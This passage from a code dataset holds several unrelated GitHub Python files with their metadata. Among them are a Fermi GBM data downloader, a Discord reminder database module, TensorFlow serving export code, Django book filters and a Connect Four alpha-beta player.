[dnode.to_descriptor() for dnode in dnodes]\n\n assert descs_from_dnodes(sorted(dnodes)) == sorted(descs_from_dnodes(dnodes))\n\n\ndef test_dnode_equality_and_hashing_are_not_by_identity():\n dnode1 = E(\"x\")\n dnode2 = E(\"x\")\n assert id(dnode1) != id(dnode2)\n assert dnode1 == dnode2\n assert hash(dnode1) == hash(dnode2)\n","repo_name":"square/bionic","sub_path":"tests/test_descriptors.py","file_name":"test_descriptors.py","file_ext":"py","file_size_in_byte":9735,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"61"} +{"seq_id":"23928253747","text":"#########################################################################################################################\n# Download new TTE files for detectors which are significantly above their threshold (up-to-date to 03/2019)\n#########################################################################################################################\n\nfrom ftplib import FTP_TLS\nimport urllib.request\nimport re\nimport sys, os\nimport glob\nimport numpy as np\n\nFermi_data_loc = \"Bursts\"\n\nftp_webpage = \"heasarc.gsfc.nasa.gov\"\nftp = FTP_TLS(ftp_webpage, timeout=10000)\nftp.login(\"anonymous\", \"\")\nftp.prot_p()\n\nif( not os.path.isdir( Fermi_data_loc ) ):\n raise Exception(\"Fermi data not found on disk: {}\".format(Fermi_data_loc))\n \nDetectors_to_use = open(\"Detectors_to_use.txt\", \"r\")\n\n#TTE_files_on_disk = []\nTTE_files_on_disk = sorted(glob.glob(Fermi_data_loc + \"/20??/bn?????????/current/glg_tte_??_bn?????????_v??.fit\"))\nprint(\"{:d} tte files found already\".format(len(TTE_files_on_disk)))\n\nfor line in Detectors_to_use:\n trigger_name, detector = line.split()[:2] \n year = 2000 + int(trigger_name[2:4])\n OUTPUT_dir = Fermi_data_loc + \"/\" + str(year) + \"/\" + trigger_name + \"/current/\"\n TTE_string = \"glg_tte_{}_{}_\".format(detector, trigger_name)\n if( not any([TTE_string in TTE_file for TTE_file in TTE_files_on_disk]) ):\n data_webpage = \"https://heasarc.gsfc.nasa.gov/FTP/fermi/data/gbm/bursts/\" + str(year) + \"/\" + trigger_name + \"/current/\"\n if( True ):\n #if( year==2014 ):\n page_source = urllib.request.urlopen(data_webpage).read().decode('utf-8')\n try:\n TTE_file_name = re.search(r'(glg_tte_{}_{}_.*\\.fit)\">glg_tte'.format(detector, trigger_name), page_source).group(1)\n except:\n print(\"TTE file {} not found!\".format(TTE_string))\n else:\n print(\"\\tDownloading {}\".format(TTE_file_name))\n sys.stdout.flush()\n loc_file = \"/\" + str(year) + \"/\" + trigger_name + \"/current/\" + TTE_file_name\n file_path = Fermi_data_loc + loc_file\n try:\n file = open(file_path, 'wb')\n ftp.retrbinary(\"RETR \" + \"/FTP/fermi/data/gbm/bursts\" + loc_file, file.write)\n file.close()\n except Exception as error:\n os.system(\"rm {}\".format(file_path))\n raise error\n\nftp.quit()\n\n","repo_name":"pcoppin/Download_Fermi_GBM_data","sub_path":"Download_tte.py","file_name":"Download_tte.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74330712513","text":"from datetime import datetime\n\nfrom database.database_models import Reminders\nfrom database.engine_session_initialization import Session\n\n\nclass RemindersDatabaseMethods:\n @classmethod\n async def add_reminder(cls, guild_id, user, reminder_msg, channel, reminder_time):\n session = Session()\n reminder = Reminders()\n reminder.guild_id = guild_id\n reminder.user = user\n reminder.message = reminder_msg\n reminder.channel = channel\n reminder.when = reminder_time\n session.add(reminder)\n session.commit()\n session.close()\n\n @classmethod\n async def auto_get_reminders(cls, guild_id: int):\n session = Session()\n # Reminders.when < datetime.today() because we don't actually fetch the reminder\n # until the next minute-interval check following the reminder time.\n results = session.query(Reminders).filter_by(guild_id=guild_id).filter(\n Reminders.when < datetime.today()).all()\n return results\n\n @classmethod\n async def remove_reminder(cls, reminder_id):\n session = Session()\n reminder = session.query(Reminders).filter_by(id=reminder_id).first()\n session.delete(reminder)\n session.commit()\n session.close()","repo_name":"Tominous/casper-1","sub_path":"database/reminders.py","file_name":"reminders.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20874829304","text":"import networkx as nx\nimport lg_parser\nimport numpy as np\nimport matplotlib.pyplot as plt\ndef show_labels(G):\n # print sorted list of vertex and edge labels\n fields = set()\n for v in G.nodes():\n fields.add(G.nodes[v]['field'])\n \n print(fields)\n\n count = np.zeros((max(fields), max(fields)), dtype=int)\n\n for a, b in G.edges():\n field_a, field_b = G.nodes[a]['field'], G.nodes[b]['field']\n\n count[field_a-1][field_b-1] += 1\n if field_a != field_b:\n count[field_b-1][field_a-1] += 1\n\n print(count)\n\n count_norm = np.log10(count)\n\n fig, ax = plt.subplots(figsize=(20,20))\n\n im = ax.imshow(count_norm, interpolation='nearest')\n cbar = ax.figure.colorbar(im, ax=ax)\n\n row,col = count.shape\n for i in range(row):\n for j in range(col):\n if count[i,j] > 10000:\n text=ax.text(j, i, count[i, j], ha='center', va='center', color='w')\n plt.savefig('mico_matrix.jpg')\n plt.show()\n\n \n\n\nif __name__ == '__main__':\n G = lg_parser.parse_lg(\"mico.lg\")\n show_labels(G)","repo_name":"LewisDyer/LocalTreewidthPython","sub_path":"label_matrix.py","file_name":"label_matrix.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2558186148","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 25 13:15:32 2020\n\n@author: wojciechprazuch\n\"\"\"\n\nimport plotly.graph_objects as go\n\nfig = go.Figure(\n data = go.Bar(y=[1, 2, 3]),\n layout_title_text = \"Spyder Demo\"\n )\n\nfig.show()","repo_name":"wprazuch/PythonPlayground","sub_path":"Packages/plotly_demo.py","file_name":"plotly_demo.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21986356127","text":"import tensorflow as tf\nimport tensorflow.keras.backend\nimport keras\nimport keras.backend as K\nimport numpy as np\nimport datetime\nimport os\nimport pdb\n\n\ndef save_model_to_serving(model, export_version, export_path='prod_models'):\n print(\"input: \", model.input)\n print(\"output: \", model.output)\n pdb.set_trace()\n # inputs = {t.name: t for t in model.input}\n # outputs = {t.name: t for t in model.output}\n signature = tf.saved_model.signature_def_utils.predict_signature_def(\n inputs={\"input_1:0\": model.input},\n outputs={\"dense2:BiasAdd:0\": model.output})\n export_path = os.path.join(\n tf.compat.as_bytes(export_path),\n tf.compat.as_bytes(str(export_version)))\n builder = tf.saved_model.builder.SavedModelBuilder(export_path)\n\n legacy_init_op = tf.group(tf.tables_initializer(), name='legacy_init_op')\n builder.add_meta_graph_and_variables(\n sess=K.get_session(), tags=[tf.saved_model.tag_constants.SERVING],\n signature_def_map={'detection': signature,},\n legacy_init_op=legacy_init_op)\n builder.save()\n\n\nif __name__ == \"__main__\":\n import argparse\n\n # Parse command line arguments\n parser = argparse.ArgumentParser(\n description='Train Mask R-CNN on MS COCO.')\n parser.add_argument('savepath',\n metavar=\"/path/to/save\",\n help=\"Path to save model\")\n parser.add_argument('--model', required=True,\n metavar=\"/path/to/weights.h5\",\n help=\"Path to weights .h5 file\")\n parser.add_argument('--version', '-v', required=False,\n default=1, help=\"model version\")\n\n args = parser.parse_args()\n model_path = args.model\n model_save_path = args.savepath\n\n inputs = keras.layers.Input(shape=(4,))\n x = keras.layers.Dense(20, activation='relu', name=\"dense1\")(inputs)\n outputs = keras.layers.Dense(3, name=\"dense2\")(x)\n model = keras.models.Model(inputs=inputs, outputs=outputs)\n # model = tf.keras.Sequential([\n # KL.Dense(20, activation='relu', name=\"dense1\"),\n # KL.Dense(3, name=\"dense2\")])\n\n model.load_weights(model_path, by_name=True)\n save_model_to_serving(model, args.version, model_save_path)\n\n","repo_name":"ZhH-17/tests","sub_path":"test_tf/save_model.py","file_name":"save_model.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1032931933","text":"import django_filters\nfrom django import forms\nfrom .models import Books\nfrom django_filters import CharFilter, DateFilter\n\n\nclass BooksFilter(django_filters.FilterSet):\n \"\"\"Books filter that enables filtering of Books with the title,\n author, language and publication date range parameters.\n \"\"\"\n title = CharFilter(\n field_name=\"title\",\n lookup_expr=\"contains\",\n label=\"Title\",\n widget=forms. TextInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Searched title...\",\n \"style\": \"text-align:left;\",\n }\n ),\n )\n\n author = CharFilter(\n field_name=\"author\",\n lookup_expr=\"contains\",\n label=\"Author\",\n widget=forms. TextInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Author sought...\",\n \"style\": \"text-align:left;\",\n }\n ),\n )\n\n language = CharFilter(\n field_name=\"language\",\n lookup_expr=\"contains\",\n label=\"Language\",\n widget=forms. TextInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Searched language...\",\n \"style\": \"text-align:left;\",\n }\n ),\n )\n\n start_date = DateFilter(\n field_name=\"publication_date\",\n lookup_expr=\"gte\",\n label=\"Date from\",\n widget=forms. DateInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"YYYY-MM-DD\",\n \"style\": \"text-align:left;\",\n }\n ),\n )\n\n\n\n end_date = DateFilter(\n field_name=\"publication_date\",\n lookup_expr=\"lte\",\n label=\"Date to\",\n widget=forms. DateInput(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"YYYY-MM-DD\",\n \"style\": \"text-align:left;\",\n }\n ),\n )\n\n class Meta:\n model = Books\n fields = []\n","repo_name":"gudlad/Bookmanagement","sub_path":"main/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40783847421","text":"\n#Joshua Steward - Alpha Beta pruning and minimax implementation\n\nimport random\n\n\nclass AlphaBeta(object):\n \"\"\" Minimax object that takes a current connect four board state\n \"\"\"\n\n board = None\n colors = [\"x\", \"o\"]\n\n def __init__(self, board):\n #copying to datastructure for board representation\n self.board = [x[:] for x in board]\n\n def optimumMove(self, depth, state, currentPlayer):\n \"\"\" This will return the best move and the alpha associated with it, along with calling the search algorithm\n \"\"\"\n\n # determine opponent's color\n if currentPlayer == self.colors[0]:\n opp_player = self.colors[1]\n else:\n opp_player = self.colors[0]\n\n #grab all legal moves from this state\n legal = {} # will map legal move states to their alpha values\n for col in range(7):\n # if column i is a legal move...\n if self.isLegalMove(col, state):\n # make the move in column 'col' for curr_player\n temp = self.makeMove(state, col, currentPlayer)\n #call search algorithm\n legal[col] = -self.search(depth - 1, temp, opp_player)\n\n #in alpha beta algorithm, alpha starts out as negative infinity\n best_alpha = -99999999\n best_move = None\n #grab all moves\n moves = legal.items()\n random.shuffle(list(moves))\n for move, alpha in moves:\n #alpha beta algorithm - if alpha is greater than the current best alpha, reassign it\n if alpha >= best_alpha:\n best_alpha = alpha\n best_move = move\n\n return best_move, best_alpha\n\n\n def makeMove(self, state, column, color):\n \"\"\" player moves in a column, changes that state\n\n returns that state\n \"\"\"\n\n t = [x[:] for x in state]\n for i in range(6):\n if t[i][column] == ' ':\n t[i][column] = color\n return t\n\n def search(self, depth, state, curr_player):\n \"\"\" Searches the tree at depth, difficulty\n\n\n Returns the alpha value\n \"\"\"\n #finds all the immediate legal states from this state\n possibleMoves = []\n for i in range(7):\n #check if this column is a legal move,\n #if it is, then make the move and append it to the list of legal moves from this current state\n if self.isLegalMove(i, state):\n # make the move in column i for curr_player\n temp = self.makeMove(state, i, curr_player)\n possibleMoves.append(temp)\n\n # if this node (state) is a terminal node or depth == 0...\n if depth == 0 or len(possibleMoves) == 0 or self.gameIsOver(state):\n # return the heuristic value of node\n return self.value(state, curr_player)\n\n # determine opponent's color\n if curr_player == self.colors[0]:\n opp_player = self.colors[1]\n else:\n opp_player = self.colors[0]\n\n alpha = -99999999\n for child in possibleMoves:\n if child == None:\n print(\"child == None (search)\")\n alpha = max(alpha, -self.search(depth - 1, child, opp_player))\n return alpha\n\n def isLegalMove(self, column, state):\n \"\"\" Boolean function to check if a move (column) is a legal move\n \"\"\"\n\n for i in range(6):\n if state[i][column] == ' ':\n # once we find the first empty, we know it's a legal move\n return True\n\n # if we get here, the column is full\n return False\n\n def gameIsOver(self, state):\n if self.checkForStreak(state, self.colors[0], 4) >= 1:\n return True\n elif self.checkForStreak(state, self.colors[1], 4) >= 1:\n return True\n else:\n return False\n\n def diagonalCheck(self, row, col, state, streak):\n\n total = 0\n # check for diagonals with positive slope\n consecutiveCount = 0\n j = col\n for i in range(row, 6):\n if j > 6:\n break\n elif state[i][j].lower() == state[row][col].lower():\n consecutiveCount += 1\n else:\n break\n j += 1 # increment column when row is incremented\n\n if consecutiveCount >= streak:\n total += 1\n\n # check for diagonals with negative slope\n consecutiveCount = 0\n j = col\n for i in range(row, -1, -1):\n if j > 6:\n break\n elif state[i][j].lower() == state[row][col].lower():\n consecutiveCount += 1\n else:\n break\n j += 1 # increment column when row is incremented\n\n if consecutiveCount >= streak:\n total += 1\n\n return total\n\n def value(self, state, color):\n \"\"\" Simple heuristic to evaluate board configurations\n Heuristic is (num of 4-in-a-rows)*99999 + (num of 3-in-a-rows)*100 +\n (num of 2-in-a-rows)*10 - (num of opponent 4-in-a-rows)*99999 - (num of opponent\n 3-in-a-rows)*100 - (num of opponent 2-in-a-rows)*10\n \"\"\"\n if color == self.colors[0]:\n o_color = self.colors[1]\n else:\n o_color = self.colors[0]\n\n my_fours = self.checkForStreak(state, color, 4)\n my_threes = self.checkForStreak(state, color, 3)\n my_twos = self.checkForStreak(state, color, 2)\n opp_fours = self.checkForStreak(state, o_color, 4)\n # opp_threes = self.checkForStreak(state, o_color, 3)\n # opp_twos = self.checkForStreak(state, o_color, 2)\n if opp_fours > 0:\n return -100000\n else:\n return my_fours * 100000 + my_threes * 100 + my_twos\n\n def checkForStreak(self, state, color, streak):\n count = 0\n # for each piece in the board...\n for i in range(6):\n for j in range(7):\n # ...that is of the color we're looking for...\n if state[i][j].lower() == color.lower():\n # check if a vertical streak starts at (i, j)\n count += self.verticalStreak(i, j, state, streak)\n\n # check if a horizontal four-in-a-row starts at (i, j)\n count += self.horizontalStreak(i, j, state, streak)\n\n # check if a diagonal (either way) four-in-a-row starts at (i, j)\n count += self.diagonalCheck(i, j, state, streak)\n # return the sum of streaks of length 'streak'\n return count\n\n def horizontalStreak(self, row, col, state, streak):\n consecutiveCount = 0\n for j in range(col, 7):\n if state[row][j].lower() == state[row][col].lower():\n consecutiveCount += 1\n else:\n break\n\n if consecutiveCount >= streak:\n return 1\n else:\n return 0\n\n def verticalStreak(self, row, col, state, streak):\n consecutiveCount = 0\n for i in range(row, 6):\n if state[i][col].lower() == state[row][col].lower():\n consecutiveCount += 1\n else:\n break\n\n if consecutiveCount >= streak:\n return 1\n else:\n return 0\n\n\n\n","repo_name":"FALLENxGaLaXie5/Connect4-AI-","sub_path":"AlphaBeta.py","file_name":"AlphaBeta.py","file_ext":"py","file_size_in_byte":7356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11035818118","text":"#This class holds functions related to general cryptography\n#\n#@author Steven Guan\n\nimport numpy as np\nfrom Mode.Mode import Mode\nfrom Module.Reg import ExtendedEuclideanAlgo\n\nclass Reg(Mode):\n \n def __init__(self):\n self.__name = \"REG\"\n self.__commands = {\n \"eea\": self.EEA\n }\n\n def EEA(self, args):\n if args[0] == \"-i\":\n ExtendedEuclideanAlgo.EEA_int(int(args[1]), int(args[2]))\n elif args[1] == \"-p\":\n ExtendedEuclideanAlgo.EEA_poly(args[1], args[2])\n\n def getName(self):\n return self.__name","repo_name":"sxg8999/CryptoToolKit","sub_path":"Mode/Reg.py","file_name":"Reg.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23515693821","text":"import sys, itertools\n\nK = None #number of tiles\nC = None #complexity\nS = None #students\nnrof_cases = None\n\nwith open(sys.argv[1], 'r') as f:\n nrof_cases = int(f.readline())\n case_number = 1\n\n for line in f:\n line = line.split()\n K = int(line[0])\n C = int(line[1])\n S = int(line[2])\n\n if S==K:\n indexes = \" \".join([str(i) for i in range (1, K+1)])\n print(\"Case #%d: %s\" % (case_number, indexes))\n case_number = case_number + 1\n continue\n\n \n\n original = itertools.product('LG',repeat=K)\n original = [\"\".join(list(o)) for o in original]\n\n number_of_sequences = len(original)\n d = {}\n\n for i in original:\n d[i] = i\n\n for i in range (C-1):\n for i, key in enumerate(d.keys()):\n d[key] = d[key].replace(\"G\",\"%temp%\").replace(\"L\",key).replace(\"%temp%\",\"G\"*K)\n\n #skipping sequences with no gold\n remove = []\n remove = [k for k in d if \"G\" not in d[k]]\n for r in remove:\n del d[r]\n\n sequencesize = 0\n for v in d.values():\n sequencesize = len(v)\n break\n\n #initing setlist\n setlist = []\n for i in range (sequencesize):\n setlist.append(set())\n\n\n for v in d.values():\n for i, c in enumerate(v):\n if c == 'G':\n setlist[i].add(v)\n \n searched_item = None\n for item in itertools.product(setlist,repeat=S):\n union_set = set()\n for i in item:\n union_set = union_set.union(i)\n\n #we need to consider the removed strings\n if len(union_set) + len(remove) == number_of_sequences:\n searched_item = item\n break\n \n indexes = []\n if searched_item:\n #print(searched_item)\n #print(line)\n for i, it in enumerate(searched_item):\n for j in setlist:\n if it==j: \n indexes.append(str(i+1))\n break\n if indexes:\n indexes = \" \".join(indexes)\n else:\n indexes = \"IMPOSSIBLE\"\n\n print(\"Case #%d: %s\" % (case_number, indexes))\n case_number = case_number + 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_180/1873.py","file_name":"1873.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42009804224","text":"def get_average(file_path,col_idx=1):\n '''\n This function computes average of a column in a csv file\n file_path(str): path to csv file whose aggregation we need to compute\n col_idx(int): index of the column that one wants to find an average for\n '''\n with open(file_path,\"r\") as f:\n data = f.readlines()\n values = []\n for row in data[1:]:\n val = float(row.split(\",\")[col_idx])\n values.append(val)\n avg = sum(values)/len(values)\n return avg","repo_name":"Gunnvant/Self-Paced-Content","sub_path":"python/week1d2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"19665184788","text":"\"\"\" Parent class for DQNModels. Defines the interface for communication\nwith DQNAgent.\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\n\n#Tf 1.x support:\nimport distutils.version\nuse_tf100_api = distutils.version.LooseVersion(tf.VERSION) >= distutils.version.LooseVersion('1.0.0')\n\nclass DQNModel(object):\n def __init__(\n self, env, learning_rate=2.5e-4, momentum=0.95, gamma=0.99, tau=0.01,\n huber_loss=True, soft_updates=True, steps_to_hard_update=10000,\n weights_to_load=None, train_dir='train', collect_summaries=True):\n \"\"\"\n arguments:\n env -- OpenAI gym environment\n\n keyword arguments:\n learning_rate -- RMSProp learning rate\n momentum -- RMSProp momentum\n gamma -- Q-learning gamma. default 0.99\n tau -- Soft target update rate. default 0.01\n huber_loss -- Use Huber loss. default True\n soft_updates -- soft target updates. default True\n steps_to_hard_update -- number of steps between hard updates.\n default 10000\n weights_to_load -- Path to pretrained weights. default None\n train_dir -- directory where summaries and variables are saved.\n default train\n collect_summaries -- toggle summary collection. default True\n \"\"\"\n\n self.num_actions = env.action_space.n\n self.gamma = gamma\n self.tau = tau\n self.soft_updates = soft_updates\n self.steps_to_hard_update = steps_to_hard_update\n self.total_steps = 0\n self.collect_summaries = collect_summaries\n self.huber_loss = huber_loss\n\n with tf.variable_scope('inputs'):\n self.first_observation = tf.placeholder(\n tf.float32, shape=[None] + list(self.input_shape),\n name='first_observation')\n self.second_observation = tf.placeholder(\n tf.float32, shape=[None] + list(self.input_shape),\n name='second_observation')\n self.actions = tf.placeholder(\n tf.int32, shape=[None, 1], name='actions')\n self.rewards = tf.placeholder(\n tf.float32, shape=[None, 1], name='rewards')\n self.terminals_mask = tf.placeholder(\n tf.float32, shape=[None, 1], name='terminals_mask')\n\n with tf.variable_scope('online_model'):\n self.online_model = self.build_net(self.first_observation, trainable=True)\n with tf.variable_scope('target_model'):\n self.target_model = self.build_net(self.second_observation, trainable=False)\n\n online_qs = self.online_model['outputs']\n target_qs = self.target_model['outputs']\n\n with tf.variable_scope('train_targets'):\n actions_mask = tf.one_hot(self.actions, self.num_actions,\n name='actions_mask')\n actions_mask = tf.reshape(actions_mask, (-1, self.num_actions))\n masked_online_qs = tf.reduce_sum(actions_mask*online_qs,\n reduction_indices=1)\n masked_online_qs = tf.reshape(masked_online_qs, (-1, 1))\n max_q_t_1 = tf.reduce_max(target_qs, reduction_indices=1)\n max_q_t_1 = tf.reshape(max_q_t_1, (-1, 1))\n\n self.delta = self.terminals_mask * (\n gamma * max_q_t_1 + self.rewards\n ) - masked_online_qs\n\n if self.huber_loss:\n if use_tf100_api:\n self.delta = tf.where(tf.abs(self.delta) < 1.0, 0.5 *\n tf.square(self.delta), tf.abs(self.delta) - 0.5)\n else:\n self.delta = tf.select(tf.abs(self.delta) < 1.0, 0.5 *\n tf.square(self.delta), tf.abs(self.delta) - 0.5)\n\n with tf.variable_scope('main_loss'):\n self.loss = tf.reduce_mean(tf.square(self.delta), name='loss')\n\n self.optimizer = tf.train.RMSPropOptimizer(learning_rate,\n momentum=momentum,\n epsilon=0.01)\n self.train = self.optimizer.minimize(self.loss)\n\n # The target model is updated towards the online model in either\n # soft steps every iteration or by copying the weights all at once\n # every steps_to_hard_update steps\n with tf.variable_scope('target_updates'):\n if self.soft_updates:\n self.target_updates = self.get_soft_updates()\n else:\n self.target_updates = self.get_hard_updates()\n\n\n self.saver = tf.train.Saver(tf.all_variables())\n\n if use_tf100_api:\n loss_summary = tf.summary.scalar('loss', self.loss)\n q_summary = tf.summary.scalar('max_q', tf.reduce_max(online_qs))\n self.summary_op = tf.summary.merge_all()\n else:\n loss_summary = tf.scalar_summary('loss', self.loss)\n q_summary = tf.scalar_summary('max_q', tf.reduce_max(online_qs))\n self.summary_op = tf.merge_all_summaries()\n\n self.sess = tf.Session()\n if use_tf100_api:\n self.summary_writer = tf.summary.FileWriter(train_dir, self.sess.graph)\n else:\n self.summary_writer = tf.train.SummaryWriter(train_dir, self.sess.graph)\n if weights_to_load is None:\n init = tf.initialize_all_variables()\n self.sess.run(init)\n else:\n restore = self.saver.restore(self.sess, weights_to_load)\n\n def get_hard_updates(self):\n \"\"\"Builds operations for assigning online model weights to\n target model.\n \"\"\"\n updates = []\n for key, value in self.online_model['shared_vars'].items():\n W = self.target_model['shared_vars'].get(key)\n update = W.assign(value)\n updates.append(update)\n\n return updates\n\n def get_soft_updates(self):\n \"\"\"Builds operations for assigning online model weights\n incrementally to target model.\n \"\"\"\n updates = []\n for key, value in self.online_model['shared_vars'].items():\n W = self.target_model['shared_vars'].get(key)\n update = W.assign(self.tau * value + (1. - self.tau) * W)\n updates.append(update)\n\n return updates\n\n def do_target_updates(self):\n self.sess.run(self.target_updates)\n\n def train_net(self, ob0, actions, rewards, ob1, terminals):\n \"\"\"Perform one step of gradient descent training on batch.\n Also update target model if soft updates are enabled.\n \"\"\"\n ob0s = self.reshape_input(ob0)\n ob1s = self.reshape_input(ob1)\n\n acs = np.reshape(actions, (-1, 1))\n res = np.reshape(rewards, (-1, 1))\n terms = np.reshape(terminals, (-1, 1))\n\n # Clip rewards to -1,0,1\n out_res = np.zeros_like(res)\n out_res[np.nonzero(res)] = 1. * np.sign(res[np.nonzero(res)])\n\n terminals_mask = np.invert(terms) * 1\n\n loss, _ = self.sess.run([self.loss, self.train], feed_dict={\n self.first_observation:ob0s,\n self.second_observation:ob1s,\n self.actions:acs,\n self.rewards:out_res,\n self.terminals_mask:terminals_mask})\n\n self.total_steps += 1\n\n if self.soft_updates:\n self.do_target_updates()\n else:\n if self.total_steps % self.steps_to_hard_update == 0:\n self.do_target_updates()\n\n if self.collect_summaries and self.total_steps % 100 == 0:\n summary_str = self.sess.run(self.summary_op, feed_dict={\n self.first_observation:ob0s,\n self.second_observation:ob1s,\n self.actions:acs,\n self.rewards:out_res,\n self.terminals_mask:terminals_mask})\n self.summary_writer.add_summary(summary_str, self.total_steps)\n\n if self.total_steps % 10000 == 0:\n self.saver.save(self.sess,\n 'train/model.ckpt',\n global_step=self.total_steps)\n\n def get_q_value(self, observation):\n ob1s = self.reshape_input(observation)\n return self.infer_online_q(ob1s)\n","repo_name":"vuoristo/dqn-agent","sub_path":"DQNModel.py","file_name":"DQNModel.py","file_ext":"py","file_size_in_byte":7387,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"37659514704","text":"def solution(num, k):\n for i in str(num):\n if int(i)==k:\n answer = str(num).index(i)+1\n break\n else:\n answer = -1\n return answer\n\n# -1 if str(k) not in str(num) else str(num).find(str(k)) + 1\n\n\"\"\"\n try:\n return str(num).index(str(k)) + 1\n except ValueError:\n return -1\n\"\"\"\n","repo_name":"JMindpalace/Daily_challenge-programmers-","sub_path":"프로그래머스/lv0/120904. 숫자 찾기/숫자 찾기.py","file_name":"숫자 찾기.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33409882286","text":"from unittest import mock, skip\n\nfrom test_plus.test import TestCase\n\nfrom loki.common.utils import make_mock_object\nfrom loki.seed.factories import (\n CourseFactory,\n StudentFactory,\n TaskFactory,\n SolutionFactory,\n ProgrammingLanguageFactory,\n faker\n)\nfrom loki.education.models import Solution, SourceCodeTest\nfrom loki.education.tasks import submit_solution\n\n\nclass TasksTests(TestCase):\n\n @skip(\"Don't want to test\")\n def setUp(self):\n self.student = StudentFactory()\n self.course = CourseFactory()\n\n self.language = ProgrammingLanguageFactory(name='Python')\n self.task = TaskFactory(course=self.course)\n self.test = SourceCodeTest.objects.create(task=self.task,\n language=self.language,\n code='import this')\n self.solution = SolutionFactory(student=self.student,\n task=self.task,\n status=Solution.SUBMITED)\n\n @mock.patch('requests.post',\n return_value=make_mock_object(status_code=202,\n json=lambda: {'run_id': faker.pyint()},\n headers={'Location': faker.url()}))\n @skip(\"Don't want to test\")\n @mock.patch('loki.education.tasks.poll_solution', side_effect=lambda *args, **kwargs: None)\n def test_submit_solution_submits_the_solution(self, poll_solution, requests_post):\n submit_solution.delay(self.solution.id)\n\n self.solution.refresh_from_db()\n self.assertEqual(Solution.PENDING, self.solution.status)\n\n self.assertTrue(requests_post.called)\n","repo_name":"rizplate/Loki","sub_path":"loki/education/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33298424832","text":"class Time:\n def __init__(self, hours = 0, minutes = 0):\n self.hours = hours%24\n self.minutes = minutes%60\n\n self._HOUR_ = 60\n self._MINUTE_ = 1\n\n self._EVENING_NIGHT_ = 23*self._HOUR_ + 11*self._MINUTE_\n self._NIGHT_MORNING_ = 5*self._HOUR_ + 30*self._MINUTE_\n self._MORNING_DAY_ = 11*self._HOUR_ + 23*self._MINUTE_\n self._DAY_EVENING_ = 18*self._HOUR_ + 0*self._MINUTE_\n\n def show(self):\n return f\"{self.hours//10}{self.hours%10}:{self.minutes//10}{self.minutes%10}\"\n\n def absTime(self):\n return self.hours*60 + self.minutes\n def add(self, increment = 1):\n self.minutes, self.hours = (self.absTime() + increment)%60, ((self.absTime() + increment)//60)%24\n\n def isMorning(self):\n if self.absTime() >= self._NIGHT_MORNING_ and self.absTime() <= self._MORNING_DAY_:\n return True\n return False\n def isDay(self):\n if self.absTime() >= self._MORNING_DAY_ and self.absTime() <= self._DAY_EVENING_:\n return True\n return False\n def isEvening(self):\n if self.absTime() >= self._DAY_EVENING_ and self.absTime() <= self._EVENING_NIGHT_:\n return True\n return False\n def isNight(self):\n if self.absTime() >= self._EVENING_NIGHT_ or self.absTime() <= self._NIGHT_MORNING_ :\n return True\n return False\n\n def sayHello(self):\n if self.isMorning():\n return \"Доброе утро\"\n if self.isDay():\n return \"Добрый день\"\n if self.isEvening():\n return \"Добрый вечер\"\n return \"Добрая ночь\"\n #Note: Граничные значения принадлежат обоим промежуткам,\n # но этот метод фактически определяет их принадлежащими Утро-Утро-День-Вечер\n\n\n_time = Time()\nfor a in range(27):\n print(_time.show())\n print(f\"it's a {_time.sayHello()}, sir\")\n _time.add(57)\n_time.add(611)\nprint(_time.show())\nprint(f\"it's a {_time.sayHello()}, sir\")\n\n\n\n\n\n","repo_name":"mentheque/prog_basics_2_2","sub_path":"Time.py","file_name":"Time.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35108297176","text":"import sys\nimport gym\nfrom flask import Flask\nfrom flask import request\nimport pickle\nimport json\nimport numpy as np\n\n# Make it so that it doesn't log every HTTP request\nimport logging\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\n\n##\n# OpenAI Gym State\n##\nclass Environment:\n def __init__(self, environment_name):\n self.sim = gym.make(environment_name)\n self.environment_name = environment_name\n self.reset()\n def step(self, action):\n # [TODO] Check to see if 'action' is valid\n self.state, 